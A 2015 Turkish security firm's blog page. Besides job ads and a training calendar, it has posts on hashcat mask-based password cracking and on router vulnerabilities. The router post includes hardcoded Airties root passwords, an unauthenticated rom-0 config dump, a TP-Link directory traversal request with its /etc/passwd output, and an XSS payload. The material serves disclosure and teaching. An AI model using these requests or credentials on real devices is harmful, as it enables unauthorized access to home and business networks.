30 06 2015


BGA olarak gerçekleştirdiğimiz bilgi güvenliği danışmanlık hizmetleri için sevdiği işi yapacak, yaptığı işi sevecek, genç, heyecanlı ve çalışkan takım arkadaşları arıyoruz.

4 farklı konuda 4 takım arkadaşı alınacaktır:
  • BGA SIR(Security Incident Response) Ekibi - bir kişi
  • BGA APPSEC (Uygulama Güvenliği) Ekibi -  bir kişi
  • BGA TIGER TEAM (Sızma Testi/APT) Ekibi - iki kişi
  • Kurumsal Müşteri Yöneticisi  - bir kişi
Temel Beklentiler:
  • Ankara, İstanbul arası git-gel yapabilecek arada bir Bakü, KKTC vs gibi lokasyonlara uğramaktan imtina etmeyecek,
  • Standart dışı düşünebilen, kalıplara takılmayan,
  • Teknik konularda çalışmayı seven, heyecan duyan,
  • Herşeyi bilmediğini düşünerek bol bol araştırma yapan, bir bilene soran,
  • Çok çalışan değil, az zamanda çok iş yapabilen,
  • İş bitirici, görev bilincine sahip olan,
  • Araştırıp öğrendiği konuları yazıya dökebilen
"Tam zamanlı" çalışma arkadaşları arıyoruz. (Yarı zamanlı başvurular da duruma göre değerlendirilecektir)

8 06 2015

Kurumların bilgi teknolojilerine bağımlılığının geçtiğimiz yıllara kıyasla katbekat arttığı bu yüzyılda, kurumlara gerçekleştirilen siber saldırıların da geçtiğimiz yıllara kıyasla şekil değiştirmeye başladığı gözlenmektedir. 2000'li yılların başında sistem yöneticilerine mesaj bırakmak için gerçekleştirilen hacktivizm odaklı siber saldırılar, günümüzde yerini APT adı verilen ve kurumlara sızıldıktan en az altı ay ile bir sene  sonra tespit edilebilen ileri seviye siber saldırılara bırakmıştır.


Klasik siber saldırı önleme sistemlerinin yetersiz kaldığı bu saldırılara karşı kurumlar, ürün odaklı “savunmacı” yaklaşım yerini daha proaktif, tehdit  ve insan odaklı yöntemlere yönelmektedirler.

3 06 2015

oclHashcat parola kırmak için GPU'nun gücünden yararlanan defacto bir araçtır. Desteklediği(GPU için) 5 atak türü vardır. Bunlardan birisi olan Mask atak türü kaba kuvvet saldırılarını daha verimli yapmak için kullanılır. Olası tüm parolaların hesaplandığı kaba kuvvet saldırılarında parola basit dahi olsa 9 hane ve üzeri olduğunda süre yıllar alabilmektedir. Windows 7 üzerinde çalışan AMD Radeon 7970 HD grafik kartı için tam bir kaba kuvvet saldırısında hane uzunluğuna göre ortalama süreler aşağıdaki gibidir.(Ortalama hız: 8000MH/s (saniyede 8 milyar deneme))

Parola uzunluğuna göre parola kırma süreleri
Uzunluk Süre
6 hane 1 dakika 32 saniye
7 hane 2 saat 25 dakika
8 hane 9 - 10 gün arası
9 hane 2 - 3 yıl arası
10 hane 10 yıldan fazla

Mask atakta ise parolaların oluşturulma düzenleri tespit edilir ve sadece bu düzene göre parolalar hesaplanır. Örneğin, Bilgi987*! gibi bir parola için hashcat maskesi ?u?l?l?l?l?d?d?d?s?s şeklindedir.
u büyük harfi(uppercase), l küçük harfi(lowercase), d rakamları(digit) ve s özel karakterleri(special chars) ifade eder. Böyle bir maske için süre ise yaklaşık 30 dakikadır.

Rockyou, phpbb, Linkedin gibi yaklaşık 35 milyon sızıntı parola üzerinde yapılan çalışma, mask atağın önemini ortaya koymaktadır. 35 milyon parolanın %50'si sadece 13 tane mask ile kırılabilmektedir[kaynak]. Toplam mask sayısı ise 260000 civarıdır.

Bu maskeleri çıkartmak için şart olmasa dahi uygun bir sözlüğe(wordlist) ihtiyaç vardır. Bu yazıda yaklaşık 24000 parola içeren Türkçe bir sözlük kullanılmıştır.

PACK, python ile yazılmış, parola analizi yapan bir araçtır. Analiz ettiği sözlük için uzunluk ve maske ile ilgili istatistikler çıkartır. Bu yazıya konu olan özelliği ise hashcat için mask listesi çıkartabilmesidir.
PACK içerisinde 4 tane araç barındırır: statsgen, maskgen, policygen ve rulegen.

python statsgen.py sozluk.txt -o sozluk_stats.txt

ile sozluk_stats.txt dosyasına çıktı alınır. Bu liste oldukça uzun çıkabilir. Eğer vakit sınırlıysa --hiderare seçeneği ile çok az karşılaşılan maskeler ve istatistikleri dahil edilmeyebilir. Yada --simplemask seçeneğinde stringdigit, mixedalpha gibi filtreler uygulanarak maskeler azaltılabilir.
Çıktı olarak alınan sozluk_stats.txt dosyası maskgen'e input olarak verilir ve hashcat için hcmask dosyası elde edilir.

python maskgen.py sozluk_stats.txt -o sozluk.hcmask

Statsgen gibi burada da çeşitli filtreler uygulanabilir: --minlength, --masklength, --targettime ve --pps

En az 9 haneli, en fazla 12 haneli parolalar için, saniyede 5 milyar deneme yapabilen bir makinede 3 saatte(3*60*60) kırmak için maskgen aşağıdaki gibi kullanılabilir.

python maskgen.py sozluk_stats.txt --minlength 9 --maxlength 12 --pps 5000000000 --targettime 10800 -o sozluk.hcmask

Sonuç:
?d?d?d?d?d?d?d?d?d
?u?l?l?d?d?d?d?d?d
?d?d?d?d?d?d?d?d?d?d
?u?l?d?d?d?d?d?d?d
?u?l?l?l?l?d?d?d?d
?l?l?d?d?d?d?d?d?d
?d?d?d?d?d?d?d?d?l
?l?d?d?d?d?d?d?d?d
?u?l?d?d?d?d?d?d?s
?d?d?d?d?d?d?l?l?l
...

Elde edilen sozluk.hcmask dosyası ise direk olarak hashcatte kullanılabilir.

oclhashcat.exe -m 1000 -a 0 hash_listesi.txt  masks\sozluk.hcmask

Aynı işlem elde sözlük olmasada her satıra bir mask gelecek şekilde elle oluşturulabilir. Ancak iyi bir sözlük başarı oranını %20-30 civarında artıracaktır.


29 05 2015

Bilgi Güvenliği AKADEMİSİ 2015 yılı ikinci 6 aylık genele açık eğitim takvimi yayınlanmıştır. Detaylı bilgi için egitim@bga.com.tr adresine mail atabilirsiniz.




Haziran
Tarih
Eğitim Adı
Süresi
Lokasyon/İl
01-03 Haziran 2015
Güvenli Yazılım Geliştirme Eğitimi
3 Gün
İstanbul
01-05 Haziran 2015
Sertifikalı/Lisanslı Sızma Testi Uzmanı Eğitimi
5 Gün
İstanbul
01-05 Haziran 2015
CISSP Sertifika Hazırlık Eğitimi
5 Gün
İstanbul
08-10 Haziran 2015
Kurumsal Ağlarda Malware Analizi Eğitimi
3 Gün
İstanbul
08-12 Haziran 2015
Beyaz Şapkalı Hacker Eğitimi (CEH v.8)
5 Gün
İstanbul
10-12 Haziran 2015
Web Uygulama Güvenlik Testleri Eğitimi
3 Gün
İstanbul
Ağustos
Tarih
Eğitim Adı
Süresi
Lokasyon/İl
10-14 Ağustos 2015
Beyaz Şapkalı Hacker Eğitimi (CEH v.8)
5 Gün
İstanbul
24-28 Ağustos 2015
Sertifikalı/Lisanslı Sızma Testi Uzmanı Eğitimi
5 Gün
Ankara
25-27 Ağustos 2015
DoS/DdoS Saldırıları ve Engelleme Eğitimi
3 Gün
İstanbul
Eylül
Tarih
Eğitim Adı
Süresi
Lokasyon/İl
01-03 Eylül 2015
Uygulamalı Ağ Güvenliği Eğitimi
3 Gün
İstanbul
07-11 Eylül 2015
Beyaz Şapkalı Hacker Eğitimi (CEH v.8)
5 Gün
İstanbul
24-25 Eylül 2015
SOME Kurulum ve Yönetim Eğitimi
2 Gün
İstanbul
28-30 Eylül 2015
Güvenli Yazılım Geliştirme Eğitimi
3 Gün
İstanbul
Ekim
Tarih
Eğitim Adı
Süresi
Lokasyon/İl
01-03 Ekim 2015
İleri Seviye Ağ Güvenliği Eğitimi
3 Gün
İstanbul
05-09 Ekim 2015
Beyaz Şapkalı Hacker Eğitimi (CEH v.8)
5 Gün
Ankara
05-07 Ekim 2015
Pfsense Güvenlik Duvarı Eğitimi
3 Gün
İstanbul
10-11 Ekim 2015
Siber Saldırı Teknikleri Eğitimi
2 Gün
İstanbul
12-14 Ekim 2015
Web Uygulama Güvenlik Testleri Eğitimi
3 Gün
İstanbul
15-17 Ekim 2015
Ağ ve Güvenlik Yöneticileri İçin Linux Eğitimi
3 Gün
İstanbul
19-23 Ekim 2015
Beyaz Şapkalı Hacker Eğitimi (CEH v.8)
5 Gün
İstanbul
24-25 Ekim 2015
Saldırı Tespit ve Log Yönetimi Eğitimi
2 Gün
İstanbul
26-28 Ekim 2015
Kurumsal Ağlarda Malware Analizi Eğitimi
3 Gün
İstanbul
Kasım
Tarih
Eğitim Adı
Süresi
Lokasyon/İl
02-06 Kasım 2015
Bilişim Sistemleri Adli Analizi Eğitimi
5 Gün
İstanbul
07-08 Kasım 2015
Mobil Uygulama Güvenlik Denetimi Eğitimi
2 Gün
İstanbul
09-13 Kasım 2015
Sertifikalı/Lisanslı Sızma Testi Uzmanı Eğitimi
5 Gün
İstanbul
17-18 Kasım 2015
İleri Seviye Windows Adli Analizi Eğitimi
2 Gün
İstanbul
19-20 Kasım 2015
İleri Seviye Ağ Adli Analizi Eğitimi
2 Gün
İstanbul
23-27 Kasım 2015
Beyaz Şapkalı Hacker Eğitimi (CEH v.8)
5 Gün
İstanbul
Aralık
Tarih
Eğitim Adı
Süresi
Lokasyon/İl
01-03 Aralık 2015
Güvenli Yapılandırma Denetimi Eğitimi
3 Gün
İstanbul
16-18 Aralık 2015
ISO 27001 Bilgi Güvenliği Yönetimi Eğitimi
3 Gün
İstanbul
19-20 Aralık 2015
Adli Bilişim Hukuku Eğitimi
2 Gün
İstanbul
21-25 Aralık 2015
Beyaz Şapkalı Hacker Eğitimi (CEH v.8)
5 Gün
İstanbul

8 05 2015

Son yıllarda artan siber saldırı olaylarının ardından gerek bireysel, gerek kurusal gerekse de ülke güvenliği açısından siber güvenliği önemi dahada ön plana çıkmıştır. Artan saldırılar içerisinde özellikle sanayi kuruluşlarına gerçekleştirilen saldırıların yükselen bir trend göstermesi dikkat çekicidir. Gerek işletmeciler için gerek ülke ekonomisi için ciddi tehditler oluşturan bu saldırıların ekonomik açıdan da çok ciddi tehdit haline geldiği görülmeye başlanmıştır. 

Ankara Sanayi Odası ile ortak olarak gerçekleştirilecek Siber Güvenlik Konferansı oluşabilecek saldırılar karşısında sanayi kuruluşlarının farkındalık düzeyini arttırmayı amaçlamaktadır.

Tarih: 11 Mayıs 2015
Yer: Ankara 1.Organize Sanayi Bölgesi ASORA İş Merkezi - Giriş Kat Konferans Salonu 
Etkinlik Saati: 09.30 - 12.30
Bilgi Güvenliği AKADEMİSİ tarafından verilen Güvenli Yazılım Geliştirme Eğitimi' ne ait içeriğin en güncel halini SlideShare hesabımızdan yayınladık.

Aşağıdaki linkten dökümana ulaşabilirsiniz.

http://www.slideshare.net/bgasecurity/gvenl-yazilim-geltrme-etm-er






3 05 2015

Ağ Trafiğinde Pasif İşletim Sistemi ve Uygulama Tespiti

İnternet teknolojisinin yaygınlaşmasının sonucunda teknoloji sürekli kendini yenilemekte ve yeni sistemler ortaya çıkmaktadır. Bu teknolojilerden en sık karşılaşılanları kuşkusuz web sunucular,güvenlik duvarları, web uygulama güvenlik duvarları, IPS cihazları ve Load balancer(yük dengeleyici) gibi cihazlardır. 
Birçok kurumda uygulama sunucularına direk erişim olmaz ve arada sizi başka bir cihaz karşılar. Sızma testlerinde bilgi toplama aşamasında veya  ele geçirilmiş bir linux ya da windows sistemin adli bilişim çalışmalarında bağlantı esnasındaki aktörlerin kimler olduğu önemlidir.

1 05 2015

SSL Servisine Yönelik DOS Saldırıları

Önemli bilgiler (örneğin e-posta adresi, kredi kartı bilgileri, TCKN, kullanıcı adı şifre gibi) iletim esnasında kriptolu olarak iletilmelidir. HTTP clear-text protokoldür ve SSL/TLS ile korunarak HTTPS olarak yapılandırılabilir. Kriptografi algoritmaları, algoritmanın gücüne göre belirli seviyede koruma sağlayabilir.

Secure Sockets Layer(SSL) protokolü, internet üzerinden güvenli veri iletişimi sağlayan bir protokoldür. Günümüzde en çok online bankacılık işlemlerinde, sosyal ağlarda, mail sunucularında tercih edilmektedir.

30 04 2015

AP/Router Üzerinde Çıkan Zafiyetler

Access Point arabirimi, yazılımı (firmware) diğer birçok ağ cihazı gibi güvenlik zafiyetleri barındırabilirler. Bu zafiyetler ve öntanımlı hesaplar tüm kablosuz ağın güvenliğini tehlikeye atmaktadır. Aşağıda görüleceği üzere bu zafiyetler farklı markaya sahip cihazlarda çıkabilmektedir ve maalesef üreticilerden bu konuda gerekli güvenlik güncellemeleri gelmemektedir. Bu durum riskin büyüklüğünü artırmaktadır.

Genellikle gömülü Linux türevi işletim sistemleri çalıştıran bu cihazlarda popüler işletim sistemlerinde ve uygulamalardaki gibi bellek taşması türevi zafiyetler görülebilir. Bu zafiyetler cihaz üzerinde tam yetkili kod çalıştırmaya sebep olacak kritiklikte olabilirler. Böyle bir zafiyet aracılığıyla saldırgan cihazın, dolayısıyla tüm yerel ağın kontrolünü ele geçirebilir.

Airties
Örnek olarak son zamanlarda ortaya çıkan Airties modemlere ait root parolası verilebilir. İlgili zafiyete göre Air6372SO modemlerin parolasının(dsl_2012_Air) firmware üzerinden kolayca öğrenilebileceği ve uzaktan bu modemlere telnet 2323 portu üzerinden erişilebileceği görülmüştür. Aynı şekilde başka modeller üzerinde de buna benzer zafiyetler olduğu tespit edilmiştir: Airties RT-206v4 modeli root parolası: SoL_FiBeR_1357


ZTE, TP-Link, ZynOS, Huawei
Türkiye’de de sıklıkla rastlanan modem modellerinden ZTE VX10 W300 üzerinde router parolasının elde edilebileceği bir zafiyet vardır. Bu zafiyete göre

http://192.168.1.1/rom-0


dosyası basit bir GET isteğiyle herhangi bir kimlik doğrulamaya ihtiyaç duyulmadan indirilebilmektedir.

Dosya indirilerek modem yapılandırması hakkında fikir sahibi olunabilmektedir. Ancak burada router parolası ele geçirilecektir. Bunun için basit bir python script kullanılarak rom-0 dosyası okunabilir.


python rom0-decomp.py
[+] ZTE, TP-Link, ZynOS, Huawei rom-0 Configuration Decompressor
[+] Author: Osanda Malith Jayathissa
[+] Special thanks to Nick Knight


[*] Opeining rom-0 file
[+] Dump:
���� l ttnetZTE60publicpublicpublic�PPP�P�P�P�5�P�P�
                                                            �
                                                             @


[+] Filtered Strings: l ttnetZTE60publicpublicpublicPPPPPP5PP@


[~] Router Password is: ttnet


Aynı bir modemde ikinci bir zafiyet kullanılarak WAN parolası ele geçirilebilmektedir. Bunun için modem arayüzüne yukarıda ele geçirilen admin parolası kullanılarak erişilir. Interface setup, İnternet sekmesine sağ tıklanıp çerçeve kaynak kodu görüntülendiğinde PPPoE/PPPoA parolası elde edilebilmektedir.




TP-Link
İkinci bir örnek olarak TP-Link TL-WA701N  modeli 3.12.6 Build 110210 Rel.37112n firmware üzerinde Directory Traversal tipi atak tespit edilmiş. Bu atak istismar edilerek /etc/passwd dosyası okunabilmektedir.


İstek
GET /help/../../etc/passwd HTTP/1.1
Host: 192.168.178.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.2/help/


Cevap
HTTP/1.1 200 OK
Server: TP-LINK Router
Connection: close
WWW-Authenticate: Basic realm="TP-LINK Wireless Lite N Access Point WA701N"
Content-Type: text/html


<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<HTML>
<HEAD><TITLE>TL-WA701N</TITLE>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
<LINK href="/dynaform/css_help.css" rel=stylesheet type="text/css">
<SCRIPT language="javascript" type="text/javascript"><!--
if(window.parent == window){window.location.href="http://192.168.178.2";}
function Click(){ return false;}
document.oncontextmenu=Click;
function doPrev(){history.go(-1);}
//--></SCRIPT>
root:x:0:0:root:/root:/bin/sh
Admin:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:65534:65534:nobody:/home:/bin/sh
ap71:x:500:0:Linux User,,,:/root:/bin/sh


Zafiyet kullanıcı adı, parola değiştirme şeklinde farklı atak vektörleriyle istismar edilebilir.


İstek
http://192.168.178.2/userRpm/ChangeLoginPwdRpm.htm?oldname=admin&oldpassword=XXXX&newname=admin&newpassword=XXXX
&newpassword2=XXXX&Save=Save


Veya XSS ile MAC filtreleme ayarları değiştirilebilir.


İstek

http://192.168.178.2/userRpm/WlanMacFilterRpm.htm?Mac=00-11-22-33-44-55&Desc=%22%3E%3Cimg+src%3D%220%22+onerror%3Dalert%281)>&
Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&vapIdx=1&Save=Save

Misfortune Cookie
CVE-2014-9222 kodlu misfortune cookie zafiyeti, saldırganlara AP üzerinde kimlik doğrulamasız Administrator hakları vermektedir. RomPager isimli gömülü web sunucuda keşfedilen bu zafiyet 200'den fazla modelde mevcuttur. Saldırganlar bu zafiyeti istismar ederek tüm trafiği izleyebilirler. [Link]

UPNP
Elektronik cihazların kolayca ağa dahil olması ve birbirleriyle uyumlu çalışabilmesi amacıyla kullanılan bir servis olan UPnP üzerinde de bilinen kritik bir zafiyet vardır. Bu zafiyet istismar edilerek WAN üzerinden AP'ye uzaktan bağlantı sağlanabilir, cihazdan yapılandırma dosyaları çekilebilir. 
BGA’dan Onur ALANBEL’in MiniUPnPd üzerindeki bir zafiyet için yazdığı istismar kodu, Türkiye’de yaygın olarak kullanılan modemlere root haklarıyla bağlanarak tüm trafiği yönlendirme, yapılandırma dosyalarına erişim, vb. ataklar yapılabileceğini göstermiştir. Bulunan yığın taşması zafiyeti istismar edilerek tam yetkili erişim sağlanan örnek çalışmaya https://www.exploit-db.com/docs/36806.pdf adresinden erişilebilir. İstismar kodlarına ise https://www.exploit-db.com/exploits/36839/ bu bağlantıdan ulaşılabilir.


UA-17586270-1